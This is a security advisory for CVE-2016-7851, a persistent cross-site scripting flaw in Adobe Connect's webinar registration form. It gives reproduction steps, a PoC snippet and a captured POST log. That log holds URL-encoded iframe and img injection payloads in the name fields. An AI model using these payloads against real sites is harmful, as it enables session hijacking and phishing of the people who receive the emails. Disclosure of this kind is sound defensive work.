[FD] Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability (APSB16-35) [CVE-2016-7851]

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1838

Security ID: PSIRT-5180

Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851

Public News Article: 
http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi


CVE-ID:
=======
CVE-2016-7851


Release Date:
=============
2016-11-09


Vulnerability Laboratory ID (VL-ID):
====================================
1838


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, 
a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services 
enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then 
continually measure and optimize it
based on user data. By providing complete solutions that combine digital media 
creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and 
ultimately achieve greater business success.

(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side 
vulnerability in the Adobe Connect online web-application and v9.5.6 windows 
software.


Vulnerability Disclosure Timeline:
==================================
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
2016-11-08: Security Acknowledgements (Adobe Security Team)
2016-11-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Adobe Systems
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation and xss vulnerability has been discovered 
in the Adobe Connect online web-application and v9.5.6 windows software.
The input validation and filter issue allows remote attackers to inject own 
malicious script codes to the server-side of the vulnerable modules context.

The vulnerability is located in the `firstname`,`lastname` and `companyname` 
parameter of the `event_registration.html` file submit POST method request. 
Remote attackers are able to inject own malicious script codes in the 
vulnerable parameters POST method request to manipulate the adobe connect 
events 
service emails for the webinar registration module. The email body does not 
encode the input values and the registration is not restricted on inputs as 
well, which results in the application-side script code execution. Attackers 
are also able to followup the webinar links with the injected credentials 
which may be result in a second persistent script code execution as well. The 
injection point is the registration input form of the webinar in adobe 
connect and the execution point occurs in the email body context of the 
admin@xxxxxxxxxxxxxxxx email address.

The security risk of the persistent input validation web vulnerability is 
estimated as medium with a cvss (common vulnerability scoring system) count of 
3.8. 
Exploitation of the persistent input validation web vulnerability requires a 
low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s): Inject
                                [+] POST

Vulnerable Module(s):
                                [+] Events - Webinar Registration Form

Vulnerable File(s):
                                [+] event_registration.html

Vulnerable Parameter(s):
                                [+] firstname
                                [+] lastname
                                [+] companyname

Affected Module(s):
                                [+]  (admin@xxxxxxxxxxxxxxxx)


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers without 
privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Open your mailbox and click to the portals webinar email for administrators
2.  Surf to the signup registration of adobe connect next to the events reck
3.  Inject to the firstname, lastname and companyname your own script code 
payload
4.  Submit the POST request to get activated for the webinar to hackerone via 
adobe connect
5.  Check the local input of the registered account
6.  The script code payloads of the name values are replied by the email 
service without secure encode
Note: The execution of the payloads occurs directly after the arrival and view
7.  Now choose in the email the link to the webinar that is connected to the 
name values
8.  Join the channel and write a message for interaction
9.  The code executes in several sections of the webinar adobe connect events 
service with persistent vector
10. Successful reproduce of the both application-side vulnerabilities in adobe 
via hackerone!


PoC: event_registration.html
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: 
normal;background-color: #FFFFFF;"> 
<p>&gt;"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p> 
<p>We are pleased to confirm your registration for The Art and Science of Bug 
Bounty Triage - April 28, 2016. We look forward to your participation in the 
event.</p> 
</div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST 
https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051
 
Mime Type[text/html]
   Request Header:
      Host[events-na1.adobeconnect.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      
Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
      Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; 
connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; 
BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; 
s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
      Connection[keep-alive]
   POST-Daten:
      2159915054[Yes]
      
2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      
2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      2159915057[adasfaf+asfasdfasfasfasdfsdfs]
      login[bkm%40evolution-sec.com]
      first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
      sco-id[2159915051]
      
reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
      
reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
      action[event-register]
      _charset_[UTF-8]
      
login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
      set-lang[en]
      
reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
   Response Header:
      Connection[Keep-Alive]
      Server[Day-Servlet-Engine/4.1.24]
      Content-Type[text/html;charset=UTF-8]
      Date[Wed, 27 Apr 2016 08:56:07 GMT]
      Transfer-Encoding[chunked]
      Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2;
 Path=/content/connect 
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; 
Path=/content/connect]


Reference(s):
https://events-na1.adobeconnect.com/
https://events-na1.adobeconnect.com/content/
https://events-na1.adobeconnect.com/content/connect/
https://events-na1.adobeconnect.com/content/connect/connect-action


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable 
firstname, lastname and companyname input fields in 
the registration file POST method request.
Dissallow the usage of special chars and restrict the input to prevent further 
script code injection attacks.
Encode the email body context of the adobe connect service mails after the 
registration. Block script code tags or escape and encode them as well.

Please follow the instructions in the adobe security bulletin to resolve the 
issue - Adobe Connect      9.5.7 windows desktop version.
URL: 
https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html


Security Risk:
==============
The security risk of the application-side vulnerability in the events webinar 
web-application and windows desktop software is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) 
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


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=========================
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